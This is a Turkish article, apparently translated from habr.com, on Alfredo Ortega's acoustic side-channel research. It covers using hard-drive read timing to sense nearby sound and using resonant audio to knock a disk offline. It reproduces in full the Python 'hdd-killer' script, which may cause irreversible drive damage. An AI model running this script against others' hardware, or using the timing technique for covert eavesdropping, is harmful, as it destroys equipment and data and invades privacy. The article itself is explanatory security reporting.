Neden HDD'nize bağırmamalısınız?

Neden HDD'nize bağırmamalısınız?

Buenos Aires'teki Ekoparty 2017 bilgisayar güvenliği konferansında Arjantinli hacker Alfredo Ortega çok ilginç bir gelişme gösterdi: mikrofon kullanmadan tesislerin gizlice dinlenmesini sağlayan bir sistem. Ses doğrudan sabit sürücüye kaydedildi!

HDD esas olarak yüksek yoğunluklu düşük frekanslı sesleri, ayak seslerini ve diğer titreşimleri alır. Bilim insanları her ne kadar insan konuşmasını henüz tanıyamıyor bu yönde araştırmalar yürütüyoruz (örneğin bir jiroskop veya HDD'den kaydedilen düşük frekanslı titreşimlerle konuşma tanıma).

Ses, havanın veya başka bir ortamın titreşimidir. Kişi bunları, titreşimleri iç kulağa ileten kulak zarı aracılığıyla algılar. Mikrofon kabaca kulağa benzer şekilde tasarlanmıştır; burada da titreşimler, elektriksel bir uyarıyı harekete geçiren ince bir zar tarafından kaydedilir. Sabit sürücü elbette çevredeki havadaki dalgalanmalardan dolayı mikroskobik titreşimlere de maruz kalır. Bu, HDD'lerin teknik özelliklerinden bile bilinmektedir: üreticiler genellikle izin verilen maksimum titreşim seviyesini belirtir ve sabit sürücünün kendisi genellikle onu kauçuktan veya başka bir yalıtım malzemesinden yapılmış titreşime dayanıklı bir kaba yerleştirmeye çalışır. Buradan seslerin HDD kullanılarak kaydedilebileceği sonucuna varmak kolaydır. Geriye kalan tek şey nasıl olduğunu bulmak.

Alfredo Ortega, yan kanal saldırısının benzersiz bir versiyonunu, yani zamanlı saldırıyı önerdi. Bu saldırı, verilen giriş verilerine bağlı olarak cihaz üzerinde farklı zamanlarda farklı işlemlerin gerçekleştirildiği varsayımına dayanmaktadır. Bu durumda "giriş verileri", ortamın titreşimleriyle yani sesle ilişkilendirilen okuma kafasının ve HDD plakasının titreşimleridir. Böylece hesaplama süresinin ölçülmesi ve verilerin istatistiksel analizinin yapılmasıyla kafa/tabak titreşimleri ve dolayısıyla ortamın titreşimleri ölçülebilir. Verilerin okunmasındaki gecikme ne kadar uzun olursa, HDD titreşimleri o kadar güçlü olur ve dolayısıyla ses de o kadar yüksek olur.

Sabit disk titreşimi nasıl ölçülür? Çok basit: sadece sistem çağrısını çalıştırın read () — ve tamamlanması için gereken süreyi kaydedin. Modern işletim sistemleri, sistem çağrılarının zamanlamasını nanosaniyelik doğrulukla okumanıza olanak tanır.

Bir sektörden bilgi okuma hızı, HDD kasasının titreşimleriyle ilişkili olan kafa ve tablanın konumuna bağlıdır. Bu kadar.

İstatistiksel analiz basit bir Kscope yardımcı programı kullanılarak gerçekleştirilir. Dedikleri gibi, ustaca olan her şey basittir.

Neden HDD'nize bağırmamalısınız?
Kscope yardımcı programı (stat() sistem çağrısı)

Kscope, sistem çağrısı yürütme sürelerindeki küçük farklılıkları görselleştirmek için kullanılan küçük bir yardımcı programdır. KaynakGitHub'da yayınlandı.

Ayrı bir depoda HDD zamanı yardımcı programın sabit sürücüye zaman saldırısı için yapılandırılmış, yani sistem çağrısını analiz edecek şekilde yapılandırılmış bir sürümü var read ().

HDD kullanarak ses kaydının gösterilmesi, Kscope yardımcı programının çalıştırılması


Elbette konuşma bu şekilde anlaşılamaz ancak HDD titreşim sensörü olarak oldukça uygundur. Örneğin, sert ayakkabı giyen veya yalınayak bir kişinin bilgisayar bulunan bir odaya girip girmediğini kaydedebilirsiniz (muhtemelen saldırgan yumuşak spor ayakkabı giyiyorsa veya yerde kalın bir halı varsa, HDD titreşimleri kaydedemeyecektir - bu kontrol edilmeye değer). Bilgisayar, kırık cam veya diğer olayları güçlü ses yoğunluğuyla kaydedebilir. Yani, sabit sürücü bir tür yetkisiz izinsiz giriş tespit sistemi görevi görebilir.

HDD katili

Bu arada, sabit sürücüleri devre dışı bırakmak için benzer bir teknik kullanılabilir. Sadece burada HDD'deki salınımları kaldırmıyoruz, aksine HDD'ye beslenen salınımlar üretiyoruz. Bir hoparlörden HDD frekansıyla rezonansa giren bir frekansta ses çalarsanız, sistem kısa sürede cihazı bir G/Ç hatasıyla kapatır (Linux çekirdeği, 120 saniye sonra HDD'yi tamamen kapatır). Sabit sürücünün kendisi geri dönüşü olmayan hasara uğrayabilir.

Neden HDD'nize bağırmamalısınız?
Linux çekirdeği, Edifier r120u USB hoparlörünün hoparlörü aracılığıyla rezonans frekansında ses ilettikten 19 saniye sonra sabit sürücüyü kapattı. Hoparlör, gücün yaklaşık dörtte biri kadar bir güçle (100 mW'den az) açılır ve titreşimleri artırmak için HDD'den 20 cm uzağa yerleştirilir ve masaya doğru yönlendirilir. Çerçeve Film HDD katilinin gösterimiyle

HDD'lere yönelik bu tür "saldırıların" bazen günlük yaşamda tamamen tesadüfen meydana gelmesi ilginçtir. Örneğin Eylül 2016'da ING Bank veri merkezi, yapılan yangın tatbikatının ardından faaliyetlerini 10 saat süreyle askıya almak zorunda kaldı. Düzinelerce sabit disk arızalandı Yüksek basınç altında silindirlerden çıkan inert gazın yüksek sesi nedeniyle. Ses çok yüksekti (130 dB'den fazla), ancak sabit sürücülere bağıramazsınız bile - bu, HDD'ye erişimdeki gecikmeyi artırır.

Bir veri merkezindeki sabit disklere bağıran insanın gösterimi. Gecikme ölçümü


Rezonans sesini oluşturmak için Alfredo Ortega, adında bir Python betiği yazdı. hdd katili (video gösterimi).

HDD öldürücü komut dosyası Oldukça küçük olduğundan tamamını burada yayınlayabilirsiniz.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Kaynak: habr.com

Yorum ekle